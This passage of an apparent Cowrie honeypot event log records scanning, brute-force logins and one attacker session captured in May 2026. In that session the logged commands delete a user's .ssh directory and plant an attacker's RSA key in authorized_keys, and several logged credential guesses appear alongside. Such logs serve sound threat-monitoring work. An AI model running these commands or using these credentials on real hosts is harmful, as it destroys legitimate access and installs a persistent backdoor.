{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35942,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcb2b62603f","protocol":"telnet","message":"New connection: 45.58.127.90:35942 (10.17.0.5:23) [session: 5fcb2b62603f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:27.304043Z"}
{"eventid":"cowrie.session.closed","duration":0.8183434009552002,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:28.122196Z","src_ip":"45.58.127.90","session":"5fcb2b62603f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58746,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6307bbd5e95","protocol":"telnet","message":"New connection: 147.182.143.59:58746 (159.203.135.109:23) [session: f6307bbd5e95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:28.548171Z"}
{"eventid":"cowrie.session.closed","duration":30.112714052200317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:38.554997Z","src_ip":"50.6.18.72","session":"9196959b6d94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7098082715a6","protocol":"telnet","message":"New connection: 45.58.127.90:46828 (10.17.0.5:23) [session: 7098082715a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:39.222371Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49106,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8cfd9f4ccd3","protocol":"telnet","message":"New connection: 50.6.18.72:49106 (159.203.135.109:23) [session: b8cfd9f4ccd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:39.232183Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":49114,"dst_ip":"159.203.135.109","dst_port":23,"session":"b730d2ef79c7","protocol":"telnet","message":"New connection: 50.6.18.72:49114 (159.203.135.109:23) [session: b730d2ef79c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:40.801049Z"}
{"eventid":"cowrie.session.closed","duration":42.05792570114136,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:42.336662Z","src_ip":"45.58.127.90","session":"8053ccd0d24f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.422224521636963,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:44.970260Z","src_ip":"147.182.143.59","session":"f6307bbd5e95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.334282159805298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:47.210310Z","src_ip":"50.6.18.72","session":"09a2f9f277b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":53408,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d0b05bdc49c","protocol":"telnet","message":"New connection: 50.6.18.72:53408 (159.203.135.109:23) [session: 8d0b05bdc49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:47.747673Z"}
{"eventid":"cowrie.session.closed","duration":30.984474658966064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:48.721557Z","src_ip":"50.6.18.72","session":"65b7a1c533f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107898712158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:49.867577Z","src_ip":"50.6.18.72","session":"a4c88959152d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.565101623535156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:50.483166Z","src_ip":"50.6.18.72","session":"28c3cc1414a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.65221047401428,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:55.542381Z","src_ip":"45.58.127.90","session":"7cee14be05a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.848729372024536,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:55.726849Z","src_ip":"45.58.127.90","session":"f93bc9d83e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0096595287323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:55.775753Z","src_ip":"50.6.18.72","session":"8a97efc8eeda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39308,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a7686e23b3c","protocol":"telnet","message":"New connection: 50.6.18.72:39308 (159.203.135.109:23) [session: 0a7686e23b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:57.793823Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":43107,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a0de7a85d48","protocol":"ssh","message":"New connection: 193.106.245.20:43107 (10.17.0.5:22) [session: 2a0de7a85d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:59.556832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:59.561545Z","src_ip":"193.106.245.20","session":"2a0de7a85d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:18:59.673681Z","src_ip":"193.106.245.20","session":"2a0de7a85d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39324,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafe132fb9e6","protocol":"telnet","message":"New connection: 50.6.18.72:39324 (159.203.135.109:23) [session: aafe132fb9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:00.057245Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user2","message":"login attempt [user1/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:00.158222Z","src_ip":"193.106.245.20","session":"2a0de7a85d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39318,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d925431d90d","protocol":"telnet","message":"New connection: 50.6.18.72:39318 (159.203.135.109:23) [session: 1d925431d90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:00.867834Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:01.273067Z","src_ip":"193.106.245.20","session":"2a0de7a85d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39336,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ce39aa65aaa","protocol":"telnet","message":"New connection: 50.6.18.72:39336 (159.203.135.109:23) [session: 4ce39aa65aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:01.659873Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42152,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b9e61386fb4","protocol":"telnet","message":"New connection: 45.58.127.90:42152 (10.17.0.5:23) [session: 1b9e61386fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:08.950418Z"}
{"eventid":"cowrie.session.closed","duration":30.569735050201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:09.801788Z","src_ip":"50.6.18.72","session":"b8cfd9f4ccd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42516,"dst_ip":"10.17.0.5","dst_port":23,"session":"0261ea0eb7ea","protocol":"telnet","message":"New connection: 45.58.127.90:42516 (10.17.0.5:23) [session: 0261ea0eb7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:11.055393Z"}
{"eventid":"cowrie.session.closed","duration":30.83499813079834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:11.635952Z","src_ip":"50.6.18.72","session":"b730d2ef79c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35342,"dst_ip":"159.203.135.109","dst_port":23,"session":"532192f98b2b","protocol":"telnet","message":"New connection: 50.6.18.72:35342 (159.203.135.109:23) [session: 532192f98b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:11.837996Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"68bd7666a040","protocol":"telnet","message":"New connection: 45.58.127.90:42520 (10.17.0.5:23) [session: 68bd7666a040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:15.748878Z"}
{"eventid":"cowrie.session.closed","duration":36.700551986694336,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:15.922789Z","src_ip":"45.58.127.90","session":"7098082715a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928121089935303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:18.675692Z","src_ip":"50.6.18.72","session":"8d0b05bdc49c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":42600,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f98bddcd98","protocol":"ssh","message":"New connection: 154.198.162.75:42600 (10.17.0.5:22) [session: f6f98bddcd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:19.086774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:19.090842Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:19.297251Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"btheminer11","message":"login attempt [oracle/btheminer11] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.157312Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b683b3f20bc","protocol":"telnet","message":"New connection: 45.58.127.90:42526 (10.17.0.5:23) [session: 3b683b3f20bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.313888Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.619132Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.622742Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.626935Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42560,"dst_ip":"159.203.135.109","dst_port":23,"session":"6499fb7447d6","protocol":"telnet","message":"New connection: 50.6.18.72:42560 (159.203.135.109:23) [session: 6499fb7447d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.775857Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:20.838476Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.285583Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.288943Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.498640Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.502772Z","src_ip":"154.198.162.75","session":"f6f98bddcd98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":42610,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7176a8b11be","protocol":"ssh","message":"New connection: 154.198.162.75:42610 (10.17.0.5:22) [session: b7176a8b11be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.701942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.706772Z","src_ip":"154.198.162.75","session":"b7176a8b11be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:21.913059Z","src_ip":"154.198.162.75","session":"b7176a8b11be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42562,"dst_ip":"159.203.135.109","dst_port":23,"session":"d01e771578df","protocol":"telnet","message":"New connection: 50.6.18.72:42562 (159.203.135.109:23) [session: d01e771578df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:22.674927Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:22.771403Z","src_ip":"154.198.162.75","session":"b7176a8b11be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:23.981315Z","src_ip":"154.198.162.75","session":"b7176a8b11be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":42612,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd829e41a63b","protocol":"ssh","message":"New connection: 154.198.162.75:42612 (10.17.0.5:22) [session: dd829e41a63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:24.181750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:19:24.186151Z","src_ip":"154.198.162.75","session":"dd829e41a63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-